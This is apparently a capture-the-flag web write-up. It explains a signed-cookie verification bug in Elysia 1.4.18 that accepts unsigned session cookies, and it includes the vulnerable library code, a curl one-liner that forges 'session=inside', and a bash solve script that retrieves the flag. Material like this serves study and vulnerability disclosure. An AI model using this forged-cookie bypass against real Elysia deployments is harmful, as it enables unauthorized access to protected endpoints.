Gatery
Gatery
Platform: CACTF2026 | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-27 | Status: Solved Techniques: cookie_signature_bypass, session_forgery, authentication_bypass, source_code_review
Summary
Task: Bun+Elysia 1.4.18 web app gates a flag endpoint behind a signed session cookie whose admin password is unguessable random. Solution: Elysia 1.4.18's parseCookie array-of-secrets branch initializes decoded=true and never resets it on signature failure, so a forged unsigned cookie session=inside is accepted, bypassing login and gate to read the flag in one request.
Gatery — CACTF2026
Description
Lysa Harrowmere must trick a guarded castle passage to get inside and deliver evidence. Bypass the gate and read the flag.
A themed medieval-gate React canvas game is presented, but the game UI is purely cosmetic. The real challenge is a Bun + Elysia backend that guards a /api/flag endpoint behind a signed session cookie. The goal is to obtain the HTB{...} flag stored server-side.
Analysis
Tech stack
- Backend: Bun runtime + Elysia framework
1.4.18, SQLite viabun:sqlite,bcryptjs 2.4.3. - Frontend: React 19 + Vite 8 canvas game (cosmetic only).
- Infra: nginx reverse-proxies
/api/→127.0.0.1:3000; static files served from/app/dist. The flag is read from/flag.txtinto an in-memory variable and returned by an API endpoint.
Backend logic (app/index.ts)
The Elysia app is configured with signed cookies using an array of secrets:
ts read-only • copy allowedconst sessionSecret = randomBytes(32).toString('hex'); new Elysia({ cookie: { secrets: [sessionSecret], sign: ['session'] } })
Relevant endpoints:
POST /api/login— validatesusername/passwordagainst the SQLiteuserstable. The admin password israndomBytes(24).base64url(unguessable), stored bcrypt-hashed. On success it sets a signed cookiesession='admin'.POST /api/gate/enter— requiressession.value ∈ {'admin','inside'}, then upgrades tosession='inside'.POST /api/flag— requiressession.value === 'inside', returns{ ok: true, flag }./api/me,/api/gate/open,/api/logout— auxiliary.
The intended chain is: log in with valid admin credentials (impossible — the password is 24 random bytes) → gate/enter → flag. Cracking the bcrypt-hashed random admin password is infeasible, so the intended path is a dead end. The gate must therefore be bypassed at the cookie layer.
Root cause — Elysia 1.4.18 signed-cookie verification bypass
Because the cookie name session is declared under sign: ['session'], Elysia is supposed to reject any session cookie that does not carry a valid HMAC signature over one of the configured secrets. In node_modules/elysia/dist/cookies.js, the parseCookie() array-of-secrets branch contains a logic bug:
js read-only • copy allowedlet decoded = !0; // decoded = true <-- BUG: initialized true, never reset for (let i = 0; i < secrets.length; i++) { const temp = await unsignCookie(value, secrets[i]); if (temp !== !1) { // signature verified against this secret decoded = !0, value = temp; // set true (redundant) and unwrap value break; } } if (!decoded) throw new InvalidCookieSignature(name); // never triggers
decoded starts as true and is only ever assigned true inside the success branch — it is never set to false when unsignCookie fails for every secret. Consequently the final if (!decoded) throw ... guard can never fire. When a session cookie is sent with an invalid or absent signature, unsignCookie returns false for the single secret, the loop exits without unwrapping, value retains its raw parsed string, and the cookie is accepted as valid.
Notably, the single-string-secret branch (isStringKey) in the same function correctly throws on signature failure; only the array-of-secrets branch is vulnerable. This challenge uses secrets: [sessionSecret] (an array), so it hits exactly the vulnerable path.
The practical consequence: an attacker can forge session=inside (or session=admin) with no valid HMAC signature at all, and the server treats session.value as that literal string.
Solution
Since the flag endpoint only checks session.value === 'inside', we skip login and gate/enter entirely and forge the inside session directly in a single unauthenticated request:
bash read-only • copy allowedcurl -s -X POST http://TARGET/api/flag -H "Cookie: session=inside"
Response:
json read-only • copy allowed{"ok":true,"flag":"HTB{REDACTED}"}
Notes on which value to forge:
- Forging
session=adminwould still get a403at/api/flagbecause that endpoint requiresinside, notadmin. - Forging
session=insidedirectly satisfies/api/flag, bypassing bothloginandgate/enter.
Solve script
bash read-only • copy allowed#!/usr/bin/env bash # Gatery (CACTF2026) — Elysia 1.4.18 signed-cookie signature bypass # Usage: ./solve.sh http://TARGET_HOST:PORT set -euo pipefail BASE="${1:?usage: ./solve.sh http://host:port}" # Bug: Elysia 1.4.18 parseCookie array-secrets branch initializes decoded=true # and never sets it false on signature failure, so a forged (unsigned) cookie # value is accepted verbatim. Sending session=inside satisfies /api/flag. curl -s -X POST "$BASE/api/flag" -H "Cookie: session=inside" -w "\n[%{http_code}]\n"
Local verification
To confirm the bug before touching the live target:
- Extracted the challenge zip and read
app/index.ts, identifying the signed-cookie gate. bun install elysia@1.4.18locally and inspectednode_modules/elysia/dist/cookies.jsparseCookie(), confirming thedecoded = trueinitialization in the array-secrets branch that is never reset on failure.- Ran the app locally with a patched flag path and observed:
- no cookie →
401 session=inside→200with the flagsession=admin→403(endpoint requiresinside)
- no cookie →
- Against the live instance, the same one-liner returned the real flag.